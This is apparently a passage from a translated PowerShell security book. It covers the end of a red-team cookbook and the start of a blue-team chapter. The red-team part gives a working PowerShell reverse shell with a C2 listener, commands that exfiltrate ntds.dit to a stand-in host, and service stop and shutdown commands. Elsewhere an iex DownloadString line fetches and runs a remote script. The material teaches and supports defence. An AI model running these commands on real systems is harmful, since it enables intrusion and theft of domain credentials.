如果你想对一个 IP 地址使用Invoke-Command,确保远程主机的 IP 已出现在TrustedHosts中,并且已配置为远程访问。

启动远程交互式 PowerShell 会话

你想启动一个远程 PowerShell 会话,在该会话中你可以交互式地运行 PowerShell 命令。

解决方案

你可以使用Enter-PSSession来启动一个交互式远程 PowerShell 会话:

Enter-PSSession <ip address or hostname>

在这种情况下,我们将建立到远程主机PSSec-PC01的 PowerShell 会话:

> Enter-PSSession PSSec-PC01

命令与控制(C2)

在这个阶段,红队员正在尝试与受害主机进行通信以控制它们。

打开反向 Shell

你想在远程系统上打开一个反向 Shell。

反向 Shell 是红队员用来建立连接到远程系统的 Shell,无需发起远程会话。在反向 Shell 的情况下,通常会在受害者系统上存储一个有效负载。一旦该有效负载被执行,受害者会建立到由红队员指定的服务器的连接,通常在该服务器上有一个监听器等待传入的连接。

解决方案

要通过 PowerShell 重现此操作,首先在 C2 服务器上创建并启动监听器:

$listener = New-Object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, 4444)
$listener.Start()
$client = $listener.AcceptTcpClient()

一旦监听器启动,它会等待连接,并立即接受连接,并将会话存储在$****client变量中。

受害者机器执行你的有效负载。可能会是这样的形式:

$client = New-Object System.Net.Sockets.TcpClient
$client.Connect("172.29.0.20", 4444)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
while($true) {
    $data = ""
    while($stream.DataAvailable) {
        $bytes = New-Object Byte[] 1024
        $count = $stream.Read($bytes, 0, 1024)
        $data += [System.Text.Encoding]::ASCII.GetString($bytes, 0, $count)
    }
    if ($data) {
        Invoke-Expression $data
        $data = ""
    }
}
$writer.Close()
$reader.Close()
$client.Close()

这段代码创建一个新的 TCP 套接字,连接到172.29.0.20 IP 地址上的4444端口,一旦连接成功,它会等待输入。客户端现在可以读取传入的命令或写入命令行。

再次,在 C2 服务器上,你现在可以通过流发送命令:

$stream = $client.GetStream()
$bytes = [System.Text.Encoding]::ASCII.GetBytes("Write-Host 'Hello world!'")
$stream.Write($bytes, 0, $bytes.Length)
$stream.Flush()

一旦需要终止连接,只需从 C2 服务器发送以下命令:

$client.Close()

你可以在本章的 GitHub 仓库中找到这段代码:

当然,也有一些工具,如 PowerShell Empire 和 Metasploit,已经有模块可以自动生成有效负载并打开反向 shell。

导出

在导出阶段,红队员尝试从受害者的网络中窃取并导出数据。

导出文件并将其上传到 Web 服务器

你想要导出一个文件的内容并将其上传到 Web 服务器。

解决方案

你可以通过读取目标文件的字节,将它们转换为Base64字符串,并使用Invoke-WebRequest将其上传到 Web 服务器来实现目标:

> $FileContent = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\shadowcopy\Windows\NTDS\ntds.dit"))
> Invoke-WebRequest -uri http://PSSec-example.com/upload -Method POST -Body $FileContent

在这个例子中,我们将之前提取的 Base64 编码的ntds.dit文件作为影像副本上传到http://PSSec-example.com/upload(该网址并不存在,我们只是为了这个示例虚构的)。

也可以使用System.NET.WebClient类来提取和上传文件。以下代码片段展示了如何实现这一目标:

> $FileToUpload = "C:\shadowcopy\Windows\NTDS\ntds.dit"
> (New-Object System.NET.WebClient).UploadFile("ftp://PSSec-example.com/ntds.dit, $FileToUpload)

影响

影响阶段的配方旨在引发混乱;红队员试图中断、破坏或操控系统或数据。

停止服务

你想要停止一个服务。

解决方案

为此,你可以使用Stop-Service cmdlet:

> Stop-Service -Name Spooler -Force

如果执行该命令,之前的命令将停止Spooler服务。使用-Force参数时,服务将会在没有确认提示的情况下被强制停止。

关闭系统

你想要关闭系统。

解决方案

你可以通过多种方法来实现你的目标。其中一种方法是使用Stop-Computer cmdlet:

> Stop-Computer -ComputerName localhost

使用-ComputerName参数,你可以指定是否要关闭本地计算机或远程主机。

你也可以使用shutdown命令:

> shutdown /s /t 0

/s参数表示系统将关闭。/t参数表示命令执行前会经过多少秒。在此案例中,系统会立即关闭。

总结

在本章中,你学习了攻击的不同阶段。你了解到了一些常见的 PowerShell 红队工具,并获得了一本红队食谱,可以帮助你在下次红队演习中使用。

这本红队食谱包含了许多有用的代码片段,帮助你了解使用powershell.exe时的一些重要选项,如何使用 Base64 进行混淆,如何下载文件,以及如何只在内存中执行脚本。它还提醒你如何在远程机器上执行命令,以及如何打开会话。

我们查看了如何使用 PowerShell 建立持久性以及如何执行降级攻击的几种选项。你还复习了内存注入的工作原理,以及如何在没有任何常见红队工具的情况下打开反向 shell。最后,你学会了如何清除日志。

现在我们已经探讨了各种红队任务和方案,在下一章中,我们将探讨蓝队和信息安全从业者的任务和方案。

进一步阅读

如果你想探索本章中提到的某些话题,可以查看以下资源:

滥用 WMI 建立持久性异步无文件后门

New-GPLink

PowerUpSQL

你可以在 GitHub 仓库的第八章中找到本章提到的所有链接,无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter08/Links.md

第九章:蓝队任务与食谱

作为蓝队成员,你的主要目标是保护组织的系统和网络免受网络威胁。然而,这不是一项简单的任务。威胁环境不断变化,你可能面临一些挑战,如管理和分析大量数据、与其他团队协调以及确保遵守规定。

本章中,我们首先将更详细地探讨保护、检测和响应方法及蓝队员面临的一些挑战。接下来,我们将介绍一些有用的 PowerShell 开源工具概览,这些工具可以帮助你作为蓝队员在日常工作中提高效率。最后,我们将探讨蓝队食谱——这是一些 PowerShell 代码片段的集合,可以在你作为蓝队从业者的日常工作中派上用场。

在本章中,我们将讨论以下主题:

  • 理解保护、检测和响应方法

  • 常见的 PowerShell 蓝队工具

  • 蓝队食谱

技术要求

为了最大化地从本章中获益,请确保你具备以下条件:

  • Windows PowerShell 5.1

  • PowerShell 7.3 或更高版本

  • Visual Studio Code

  • 访问本章的 GitHub 仓库:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter09

保护、检测和响应

成为一个蓝队成员并非易事。你需要不断跟进不断变化的威胁环境,并保持最新状态。尽管红队员只需要找到一个漏洞就能成功,但蓝队员则需要注意所有细节,因为一个小小的错误就可能导致你的网络遭到入侵。

蓝队员不仅需要配置和管理他们的系统,还需要分析大量数据并与其他团队协调。他们还需要确保遵守相关的规定和标准。在做这些工作的同时,他们需要保持安全性与可用性之间的正确平衡,确保用户不会因过多的安全措施而感到困扰,并试图绕过它们。

为了帮助跟踪需要考虑的所有事项,将任务分类为保护检测响应类型会有所帮助。这是保护组织系统和网络的一种方法,结构分为三个不同的领域——保护、检测和响应。每个支柱都同样重要,以确保你的基础设施安全。

图 9.1 – 保护、检测和响应方法

图 9.1 – 保护、检测和响应方法

许多公司仅关注保护部分,尽管检测和响应同样对保持敌人远离网络至关重要。

让我们在接下来的小节中深入探讨每个领域的内容。

保护

保护措施的目标是减轻安全风险并实施控制,以减少和阻止威胁的发生,在它们发生之前。保护措施可能包括以下内容:

  • 定期更新系统并监控它们,以修复可能被攻击者利用的漏洞。

  • 实施用户身份验证和授权,确保只有授权用户才能访问数据和系统。同时也需要遵循最小权限原则。

  • 加密敏感数据,以减少未经授权用户访问的风险。加密硬盘,以防止具有物理访问权限的人盗取凭证,甚至在设备被盗时发生数据泄露。

  • 实施安全策略、基准和访问控制,以确保系统尽可能安全地配置。同时还需要引入强密码策略。

  • 部署防火墙和入侵检测系统IDSs)/入侵防御系统IPSs),以阻止未经授权的活动并检测可疑活动。

当然,保护机制也可能有第二个目的,例如 IDS 或 IPS,它不仅能阻止可疑活动,还能检测并提醒你这些活动。因此,这种解决方案也可以是检测领域的一部分。

检测

在检测阶段,目标是尽快识别和报告潜在的安全威胁。你可以做各种事情来改善你的检测能力,例如:

  • 收集和分析关于潜在安全漏洞的事件日志,如失败的登录尝试或配置更改。

  • 监控网络活动中的异常和可疑行为,例如用户登录到他们通常从未登录过的机器,或者尝试访问受限资源。另一个例子是,如果从通常不运行代码的工作站(如会计或市场部门的员工)执行了 PowerShell(或其他)代码。

  • 评估来自杀毒软件和 IDSs/IPSs 的安全警报。

  • 定期扫描你的网络漏洞,以识别可能被对手利用的潜在弱点。同时,定期聘请外部渗透测试人员检查你的安全性。

实施良好的检测措施将有助于提高你对网络中发生的事件的意识。这使你能够在响应阶段对潜在的安全威胁作出反应。

响应

如果检测到安全威胁,意味着你需要迅速采取行动,以减少风险并将系统恢复到安全状态。这可能涉及多种活动,例如:

  • 隔离受损的系统,以防止进一步的损害和威胁在环境内传播。

  • 从受影响的系统中收集法医数据并进行分析。这有助于识别攻击来源并确定损害的程度。它还可以帮助减轻未来的威胁。

  • 恢复系统至安全状态,这可能涉及根据 NIST 网络安全框架(NIST CSF)指南修复或重新安装系统:

www.nist.gov/cyberframework/framework

  • 实施额外的安全控制措施,以防止未来类似的威胁。

这三大支柱共同构建了保护、检测和响应的生命周期,应该始终平等重视。

也有许多开源工具可以支持蓝队成员采用保护、检测和响应的方法。在接下来的章节中,我们将探讨其中一些工具。

常见的 PowerShell 蓝队工具

作为蓝队成员,你时刻在寻找能够帮助你保护组织系统和网络免受网络威胁的工具和技术。

在本节中,我们将探索一些常见的 PowerShell 开源工具,这些工具对蓝队成员特别有帮助。这些工具可以协助执行诸如分析系统日志、收集系统信息和检测恶意活动等任务。有些工具还可以帮助分析系统的攻击面、识别和解码潜在的恶意数据,以及搜索入侵指示符。通过利用这些工具,你可以简化工作流程,更有效地保护组织免受网络威胁。

PSGumshoe

PSGumshoe 是一个强大的 PowerShell 模块,旨在协助执行实时响应、追踪和取证等任务。由 Carlos Perez 开发,这个开源工具专为蓝队成员设计,帮助他们从各种来源收集证据。无论你是在调查安全事件、进行入侵指示符(IOC)的搜寻,还是执行取证分析,PSGumshoe 都可以成为你工具箱中的一个宝贵资产。它还包括支持从 Sysmon 生成的事件中检索数据,或跟踪 Windows Management InstrumentationWMI)活动的功能。

你可以通过 PowerShell Gallery 使用 Install-Module PSGumshoe 命令安装 PSGumshoe,或者从 GitHub 下载: github.com/PSGumshoe/PSGumshoe

PowerShellArsenal

PowerShellArsenal 是 Matt Graeber 开发的 PowerShell 模块,旨在帮助逆向工程师完成多种任务。凭借其广泛的功能和能力,这个工具可以帮助你反汇编代码、执行 .NET 恶意软件分析、分析和解析内存结构等等。无论你是经验丰富的逆向工程师,还是刚刚入门,PowerShellArsenal 都能成为你工具箱中的有力助手。

它可以作为模块从 GitHub 下载并安装: github.com/mattifestation/PowerShellArsenal

AtomicTestHarnesses

AtomicTestHarnesses 是一个 PowerShell 模块,允许你模拟和验证攻击技术的执行。它具有适用于 Windows 的 PowerShell 组件,以及适用于 macOS 和 Linux 的 Python 组件,可以跨平台使用。

AtomicTestHarnesses 由 Mike Haag、Jesse Brown、Matt Graeber、Jonathan Johnson 和 Jared Atkinson 开发,是蓝队成员在测试防御并确保能够应对现实攻击时的宝贵资源。

你可以通过 Install-Module -Name AtomicTestHarnesses 命令从 PowerShell gallery 安装 AtomicTestHarnesses,或者通过以下链接从 GitHub 下载:github.com/redcanaryco/AtomicTestHarnesses

PowerForensics

PowerForensics 是由 Jared Atkinson 开发的强大硬盘取证框架。目前支持 NTFS新技术文件系统)和 FAT文件分配表)文件系统,该工具旨在协助分析 Windows 遗留物、Windows 注册表、引导扇区和应用程序兼容性缓存等任务,并能够创建取证时间线。

PowerForensics 具备广泛的功能和能力,是蓝队成员进行硬盘取证分析的重要资源。你可以通过 Install-Module PowerForensics 命令从 PowerShell gallery 安装 PowerForensics,或者通过以下链接从 GitHub 下载:github.com/Invoke-IR/PowerForensics

NtObjectManager

NtObjectManager 是一个广泛的 PowerShell 模块,允许你访问 NT 对象管理器命名空间。它是沙盒攻击面分析工具包的一部分(这个工具包也绝对值得一看!),由 James Forshaw 开发。对象管理器本身是 Windows 中的一个子系统,负责管理系统的对象,这些对象代表着各种系统资源,如进程、线程、文件和设备。

对象管理器还负责创建和删除对象,以及维护对象之间的关系。它还处理对象访问请求,确保只有授权实体能够访问特定对象。对象管理器是操作系统的一个重要组成部分,涉及系统操作的多个方面,包括内存管理、进程和线程管理以及 I/O 操作。

NTObjectManager 模块提供了多种功能,包括处理符号链接、审计 RPC 服务器、操作对象管理器,以及通常操作 Windows 操作系统。

NtObjectManager 可以通过 Install-Module -Name NtObjectManager 命令轻松安装,源代码可以在 GitHub 上找到,链接为:github.com/googleprojectzero/sandbox-attacksurface-analysis-tools

DSInternals

DSInternals 是由 Michael Grafnetter 开发的强大 Active Directory 套件,包含两个部分——一个框架,暴露了 Active Directory 的各种内部组件,可以从任何 .NET 应用程序中访问;另一个是 PowerShell 模块,提供了一系列基于该框架构建的 cmdlet。该模块功能广泛,包括能够审计 Azure AD FIDO2 密钥、AD 密码和密钥凭证,并执行域控制器的裸机恢复。

DSInternals 可以通过 Install-Module DSInternals 命令轻松安装,或者通过以下 GitHub 链接下载:github.com/MichaelGrafnetter/DSInternals

凭借其众多特性和功能,DSInternals 是蓝队员管理和保护其 Active Directory 环境的重要资源。

PSScriptAnalyzer 和 InjectionHunter

PSScriptAnalyzer 是一款帮助你提高 PowerShell 脚本和模块质量与安全性的工具。它会根据预定义规则检查你的代码,并为发现的潜在缺陷提供建议。你可以使用 Install-Module PSScriptAnalyzer 命令安装 PSScriptAnalyzer,或者通过以下 GitHub 链接下载:github.com/PowerShell/PSScriptAnalyzer

InjectionHunter 是由 Lee Holmes 开发的一个模块,帮助你检测自己 PowerShell 脚本中潜在的代码注入机会。要使用 InjectionHunter,你需要先安装 PSScriptAnalyzer,因为它依赖于 ScriptAnalyzer.Generic.DiagnosticRecord 输出类型并使用自定义检测规则。你可以通过 Install-Module InjectionHunter 命令安装 InjectionHunter,或者在 PowerShell Gallery 中找到它,链接为:www.powershellgallery.com/packages/InjectionHunter/1.0.0

另请参考关于 InjectionHunter 的官方博客文章:devblogs.microsoft.com/powershell/powershell-injection-hunter-security-auditing-for-powershell-scripts/

第十三章 还有什么?——更多缓解措施和资源 中,我们还将更深入地了解这两个工具以及如何使用它们。

Revoke-Obfuscation

Revoke-Obfuscation是由 Daniel Bohannon 和 Lee Holmes 开发的 PowerShell 混淆检测框架。它兼容 PowerShell v3 及更高版本,帮助蓝队员大规模检测混淆的 PowerShell 脚本和命令。与依赖简单妥协指示器IOCs)或正则表达式匹配的其他解决方案不同,Revoke-Obfuscation 使用 PowerShell 的抽象语法树AST)从脚本中提取特征,使其在检测未知混淆技术时更加可靠。

你可以通过Install-Module Revoke-Obfuscation命令轻松安装 Revoke-Obfuscation,或者你也可以通过以下 GitHub 链接下载:github.com/danielbohannon/Revoke-Obfuscation

Posh-VirusTotal

作为防御者,定期检查文件、域名、IP 和 URL 以发现恶意软件是至关重要的。VirusTotalwww.virustotal.com)是一个常用服务,允许你快速检查文件哈希或 URL 是否被认为是恶意的,并且它是否会被一个或多个安全厂商检测到。然而,手动上传每个文件或逐个检查 URL 可能会耗时且繁琐。

这就是 PowerShell 模块Posh-VirusTotal的作用所在。由 Carlos Perez 开发,这个工具可以自动化你的 VirusTotal 提交,节省你宝贵的时间。它兼容 PowerShell v3 及更高版本,并且可以使用 VirusTotal 提供的公共或私有版本 2 API。

你可以通过Install-Module Posh-VirusTotal命令轻松安装 Posh-VirusTotal,或者你也可以通过以下 GitHub 链接下载:https://github.com/darkoperator/Posh-VirusTotal。

如果你使用的是较旧版本的 PowerShell(如 v3),你也可以使用iex (New-Object** **Net.WebClient).DownloadString("https://gist.githubusercontent.com/darkoperator/9138373/raw/22fb97c07a21139a398c2a3d6ca7e3e710e476bc/PoshVTInstall.ps1")命令来安装 Posh-VirusTotal。

使用 Posh-VirusTotal,你可以简化恶意软件检查,并走在威胁的前面。

EventList

EventList是我开发的一个有用工具,旨在帮助你提升审计能力,构建一个更有效的安全运营中心SOC)。EventList 结合了 Microsoft 的安全基准和 MITRE ATT&CK,能够帮助你为 SIEM 系统生成猎杀查询,无论你使用的是哪个产品。

通过利用 EventList 的强大功能,你可以采取主动的方式来检测和应对安全威胁。

它可以通过Install-Module EventList命令安装,或者从 GitHub 下载:github.com/miriamxyra/EventList

JEAnalyzer

Just Enough AdministrationJEA)是一个强大的工具,用于保护管理员和用户在您的环境中允许使用的 PowerShell 命令。然而,配置和审计 JEA 角色可能是一项繁琐且耗时的任务。这就是 JEAnalyzer 派上用场的地方。

由 Miriam Wiesner 和 Friedrich Weinmann 开发,这个工具简化了 JEA 的实现和管理,并提供了扫描命令潜在危险的工具,当命令暴露在 JEA 端点时,可以轻松创建 JEA 端点。

您可以通过Install-Module JEAnalyzer命令轻松安装 JEAnalyzer,或者您可以从 GitHub 下载它,链接如下:https://github.com/PSSecTools/JEAnalyzer。

所有这些 PowerShell 模块对蓝队员非常有用,因为它们可以帮助执行诸如实时响应、猎杀、取证和逆向工程等任务。这些工具可以通过分析系统日志、收集系统信息、检测恶意活动、分析攻击面、识别并解码潜在的恶意数据、寻找妥协的指标以及许多其他用例,帮助简化工作流程并防御网络威胁。

蓝队菜谱

在以下小节中,您将找到一些对蓝队 PowerShell 从业者日常工作很有帮助的代码片段。蓝队工作范围广泛,因此您不会找到每个场景的用例,而是一些基础的用法。

此外,参阅第八章红队任务和菜谱,您将在那里找到许多红队代码片段和脚本,这些内容有时也对蓝队员有帮助。

检查已安装的更新

您想要找出一个或多个远程系统上已安装的更新。

解决方案

您可以使用Get-InstalledUpdates.ps1脚本扫描 IP 范围内已安装的 Windows 更新。您可以在本章的 GitHub 仓库中找到此脚本:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter09/Get-InstalledUpdates.ps1

使用此示例扫描172.29.0.10-20 IP 范围内已安装的更新:

> .\Get-InstalledUpdates.ps1 -BaseIP "172.29.0" -MinIP 10 -MaxIP 20 -Verbose

-MinIP表示最小的最后一个 IP 地址八位组,而-MaxIP表示最大的最后一个 IP 地址八位组。启用-Verbose参数会使脚本显示其操作的详细输出。还可以使用-MaxJobs参数定义可以并行运行多少个任务来检查更新。

检查缺失的更新

您想要找出一个或多个远程主机上缺少的更新。

解决方案

你可以使用 Scan-RemoteUpdates.ps1 脚本检查缺失的 Windows 更新——可以在本地主机上检查,也可以在一个或多个远程主机上检查。你可以在本章的 GitHub 仓库中找到这个脚本:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter09/Scan-RemoteUpdates.ps1

仅扫描本地主机的方法如下:

> .\Scan-RemoteUpdates.ps1

扫描多个远程主机的方法如下:

> .\Scan-RemoteUpdates.ps1 -remoteHosts "PSSec-PC01", "PSSec-PC02", "PSSec-Srv01"

如果指定了 -Force 参数,wsusscn2.cab 文件(如果存在)将会被删除,并下载新版本。使用 -CabPath 参数来指定 wsusscn2.cab 文件的下载位置。如果未指定,它将被下载到 $env:temp\wsusscn2.cab。如果存在 -DoNotDeleteCabFile,则在检查后 wsusscn2.cab 文件不会被删除。

查看所有用户的 PowerShell 历史记录

在事件响应期间,你希望查看系统上所有用户的 PowerShell 历史记录。

解决方案

Get-History cmdlet 仅会获取当前 shell 的历史记录,这并不太有帮助。要查看每个用户的整个 PowerShell 历史记录,你可以遍历系统中的 ConsoleHost_history.txt 文件:

$UserHistory = @(Get-ChildItem "C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt").FullName;
$UserHistory += @(Get-ChildItem "c:\windows\system32\config\systemprofile\appdata\roaming\microsoft\windows\powershell\psreadline\consolehost_history.txt" -ErrorAction SilentlyContinue).FullName;
foreach ($Item in $UserHistory) {
    if ($Item) {
        Write-Output ""
        Write-Output "###############################################################################################################################"
        Write-Output "PowerShell history: $item"
        Write-Output "###############################################################################################################################"
        Get-Content $Item
    }
}

在这个示例中,你将遍历所有用户的 ConsoleHost_history.txt 文件,以及系统配置文件(如果可用)。

检查远程主机的事件日志

你想检查远程主机的事件日志并搜索特定的模式。

解决方案

你可以使用 Get-WinEvent 获取(远程)主机上的所有事件,并筛选特定的模式。请注意,为了使 Get-WinEvent cmdlet 能够远程工作,远程主机上需要运行 RemoteRegistry 服务:

$ComputerName = "PSSec-PC01.PSSec.local"
$EventLog = "Microsoft-Windows-Powershell/Operational"
$LogEntries = Get-WinEvent -LogName $EventLog -ComputerName $ComputerName
$LogEntries | Where-Object Id -eq 4104  | Where-Object Message -like "*Mimikatz*"

使用这个示例,你将连接到远程主机 PSSec-PC01.PSSec.local,并检索 Microsoft-Windows-Powershell/Operational 事件日志中的所有事件,将它们保存到 $LogEntries 变量中。这样你可以通过操作变量,而不必每次都远程连接来快速处理事件。

使用 $LogEntries 变量,你可以筛选特定的事件或字符串。在这个例子中,我们筛选了事件 ID 为 4104 的事件,这些事件的消息体中包含 "Mimikatz" 字符串。通配符 * 表示在搜索词 "Mimikatz" 前后可能会有其他字符。

请注意,如果你想查询 PowerShell Core 日志,您需要将$EventLog变量更改为"PowerShellCore/Operational"

PowerShell 远程访问与 -ComputerName 参数

值得一提的是,PowerShell 远程执行可以用来远程执行任何 cmdlet,无论该 cmdlet 是否有-ComputerName参数。这在-ComputerName参数因 DCOM 端口关闭或其他原因无法使用的情况下尤其有用。例如,要从远程计算机检索日志条目,你可以使用以下命令:– Invoke-Command -ComputerName $ComputerName -ScriptBlock { Get-WinEvent -LogName $EventLog | Where-Object Id -eq 4104 | Where-Object Message -like "****Mimikatz" }

你还可以通过使用foreach循环来评估多个远程主机,如以下示例所示:

$ComputerNames = @("DC01", "PSSec-PC01", "PSSec-PC02", "PSSec-Srv01")
$EventLog = "Microsoft-Windows-Powershell/Operational"
$LogEntries = foreach ($Computer in $ComputerNames) {
    Get-WinEvent -LogName $EventLog -ComputerName $Computer -ErrorAction SilentlyContinue
}
$LogEntries | Group-Object -Property MachineName
$LogEntries | Where-Object {($_.Id -eq 4104) -and ($_.Message -like "*Mimikatz*")} | Select-Object -Property TimeCreated, MachineName, Id, LevelDisplayName, Message | ft

你可以评估使用$LogEntries变量收集的事件。要概览从哪些主机收集了多少事件,你可以使用Group-Object并按MachineName分组。

监控以绕过 powershell.exe

你希望监控没有使用powershell.exe二进制文件的 PowerShell 执行。

解决方案

要在不使用powershell.exe二进制文件的情况下监控 PowerShell 的执行,有两种解决方案。第一种方案是使用 Windows PowerShell 事件日志,并查找400事件 ID:

> Get-WinEvent -LogName "Windows PowerShell" | Where-Object Id -eq 400 | Where-Object Message -notmatch "HostApplication.*powershell.exe" | fl Message,TimeCreated

由于有许多合法的理由需要在没有powershell.exe二进制文件的情况下执行 PowerShell,你可能需要根据你的环境调整这个查询。在一台常规的 Windows 10 客户端系统上,其中也使用了 PowerShell ISE,以下代码片段可能会有帮助:

> Get-WinEvent -LogName "Windows PowerShell" | Where-Object Id -eq 400 | Where-Object { ($_.Message -notmatch "HostApplication.*powershell.exe") -and ($_.Message -notmatch "HostApplication.*PowerShell_ISE.exe") -and ($_.Message -notmatch "HostApplication.*sdiagnhost.exe") } | fl Message,TimeCreated

对于第二种方案,你需要在所有你想要检测powershell.exe二进制文件绕过的系统上安装 Sysmon。Sysmon 是 Sysinternals 工具包的一部分,可以在这里下载:learn.microsoft.com/en-us/sysinternals/downloads/sysmon

一旦 Sysmon 安装并配置完毕,你将需要通过 Sysmon 的事件 ID 7,"**加载的镜像"**,查找以下 DLL 文件:

  • System.Management.Automation.dll

  • System.Management.Automation.ni.dll

现在,你可以搜索潜在的powershell.exe二进制文件绕过,如以下示例所示:

$ComputerName = "PSSec-PC01.PSSec.local"
$EventLog = "Microsoft-Windows-Sysmon/Operational"
$LogEntries = Get-WinEvent -LogName $EventLog -ComputerName $ComputerName
$LogEntries | Where-Object Id -eq 7 | Where-Object (($_.Message -like "*System.Management.Automation*") -or ($_.Message -like "*System.Reflection*"))

如果你已经部署了一个可以帮助你检测类似事件的 EDR 系统,那么你当然不需要 Sysmon 来检测 PowerShell .NET 程序集的调用。

获取特定的防火墙规则

你想使用 PowerShell 过滤特定的防火墙规则。

解决方案

你可以获取所有防火墙规则,并使用Get-NetFirewallRule cmdlet 过滤特定规则:

> Get-NetFirewallRule -<parameter> <value>

使用Get-NetFirewallRule有许多参数过滤选项。例如,要获取所有启用的防火墙规则,这些规则的方向是入站并且是允许规则,可以使用以下命令:

> Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

您还可以使用Get-NetFirewallProfile cmdlet,结合Get-NetFirewallRule,来检索为特定防火墙配置文件创建的所有防火墙规则。通过以下示例,您可以获取为Public防火墙配置文件创建的所有防火墙规则:

> Get-NetFirewallProfile -Name Public | Get-NetFirewallRule

仅允许 PowerShell 通信通过私有 IP 地址范围

您希望限制 PowerShell 通信仅在您自己的网络内进行,并避免 PowerShell 与潜在的 C2 服务器进行通信。

解决方案

使用New-NetFirewallRule创建新的防火墙规则,只允许 PowerShell 通信通过私有 IP 地址范围。

以下示例创建了一个新的防火墙规则,名为Block Outbound PowerShell connections,它限制 Windows PowerShell 仅能与本地网络中的 IP 地址建立连接:

> New-NetFirewallRule -DisplayName "Block Outbound PowerShell connections" -Enabled True -Direction Outbound -Action Block -Profile Any -Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -RemoteAddress "Internet"

使用此示例并根据需要进行调整。由于大多数组织仍然将 Windows PowerShell 作为默认的 PowerShell 实例,因此此示例也参考了 Windows PowerShell。如果您使用 PowerShell Core 作为默认的 PowerShell 实例,您可能需要调整程序的路径。

隔离被攻破的系统

您希望隔离一个已被攻破的系统。

解决方案

您可以使用New-NetFirewallRuleDisable-NetAdapter cmdlet 来实现。以下代码片段演示了如何远程隔离设备。首先,它向所有当前登录到PSSec-PC01的用户发送消息,然后它远程创建防火墙规则,阻止所有进出连接,并禁用所有网络适配器:

$ComputerName = "PSSec-PC01"
msg * /server $ComputerName "Security issues were found on your computer. You are now disconnected from the internet. Please contact your helpdesk: +0012 3456789"
$session = Invoke-Command -ComputerName $ComputerName -InDisconnectedSession -ScriptBlock {
    New-NetFirewallRule -DisplayName "Isolate from outbound traffic" -Direction Outbound -Action Block | Out-Null;
    New-NetFirewallRule -DisplayName "Isolate from inbound traffic" -Direction Inbound -Action Block | Out-Null;
    Get-NetAdapter|foreach { Disable-NetAdapter -Name $_.Name -Confirm:$false }
}
Remove-PSSession -Id $session.Id -ErrorAction SilentlyContinue

只需将PSSec-PC01替换为您选择的计算机名称,并且可以自由调整将发送给计算机用户的消息。

检查远程安装的软件

您希望查找远程 PC 上安装了哪些软件。

解决方案

您可以使用Get-CimInstance cmdlet 来查看远程 PC 上安装了哪些软件。

以下示例代码将允许您连接到名为PSSec-PC01的计算机,并查找它当前安装了哪些软件:

$ComputerName = "PSSec-PC01"
Get-CimInstance -ClassName Win32_Product -ComputerName $ComputerName | Sort-Object Name

启动转录

您希望启用肩膀上方的转录功能,以跟踪 PowerShell 会话中的操作。

解决方案

在您希望跟踪 PowerShell 会话中发生的事情的机器上启用转录。这可以通过通过组策略启用转录来实现,方法是配置开启 PowerShell 转录选项,路径为Windows 组件 | **管理模板 | **Windows PowerShell,或者通过 PowerShell 配置注册表来实现,如博客文章PowerShell the Blue Team 中所示:devblogs.microsoft.com/powershell/powershell-the-blue-team/

以下代码片段展示了Enable-PSTranscription功能,源自本文:

function Enable-PSTranscription {
    [CmdletBinding()]
    param(
        $OutputDirectory,
        [Switch] $IncludeInvocationHeader
    )
    $basePath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
    if (-not (Test-Path $basePath)) {$null = New-Item $basePath -Force}
    Set-ItemProperty $basePath -Name EnableTranscripting -Value 1
    if ($PSCmdlet.MyInvocation.BoundParameters.ContainsKey("OutputDirectory")) {Set-ItemProperty $basePath -Name OutputDirectory -Value $OutputDirectory}
    if ($IncludeInvocationHeader) {Set-ItemProperty $basePath -Name IncludeInvocationHeader -Value 1}
}

如果你使用此功能启用对 C:\tmp 文件夹的转录,语法如下:

> Enable-PSTranscription -OutputDirectory "C:\tmp\"

你还可以使用 通用命名约定(UNC) 路径将转录保存到网络文件夹。确保保护该路径,以防潜在的攻击者访问和/或删除它。

要集中管理 PowerShell 转录并保持安全的审计跟踪,你可以,例如,将转录目标配置为一个带有动态文件名的 UNC 路径。这涉及将转录目录设置为具有写入权限的网络共享,并使用 PowerShell 配置文件将所有活动记录到一个基于系统和用户变量的唯一文件名中,如下所示:

> Enable-PSTranscription -OutputDirectory "\\fileserver\Transcripts$\$env:computername-$($env:userdomain)-$($env:username)-$(Get-Date -Format 'YYYYMMddhhmmss').txt"

这将为每个用户和计算机组合创建一个唯一的转录文件,文件名中将包含当前日期和时间。通过将转录存储在具有受限访问权限的集中位置,可以确保所有活动都被记录,并在需要时可以进行审查和分析。

这将把所有转录写入指定的文件服务器位置,然后可以由授权人员进行访问,以便进行审查和分析。

检查过期证书

你需要检查证书存储中已经过期或将在未来 60 天内过期的 SSL 证书。

解决方案

你可以使用以下脚本检查证书存储中已经过期或将在未来 60 天内过期的 SSL 证书:

$certificates = Get-ChildItem -Path "Cert:\" -Recurse | Where-Object { $_.Subject -like "*CN=*"} | Where-Object { $_.Extensions | Where-Object { $_.Oid.Value -eq "2.5.29.37" } | Where-Object { $_.Critical -eq $false } }
$expiringCertificates = @()
foreach ($certificate in $certificates) {
    if (($certificate.NotAfter) -and (($certificate.NotAfter -lt (Get-Date).AddDays(60)) -or ($certificate.NotAfter -lt (Get-Date)))) {
        $expiringCertificates += $certificate
    }
}
Write-Output "Expired or Expiring Certificates in the next 60 days:"
foreach ($expiringCertificate in $expiringCertificates) {
    Write-Output $expiringCertificate | Select-Object Thumbprint, FriendlyName, Subject, NotBefore, NotAfter
}

你还可以修改路径 Cert:\LocalMachine\My 仅评估个人存储中的证书。对于 存储中的证书,请将路径更改为 Cert:\LocalMachine\Root

检查文件或脚本的数字签名

你想通过检查数字签名来验证软件或脚本的真实性和完整性。

解决方案

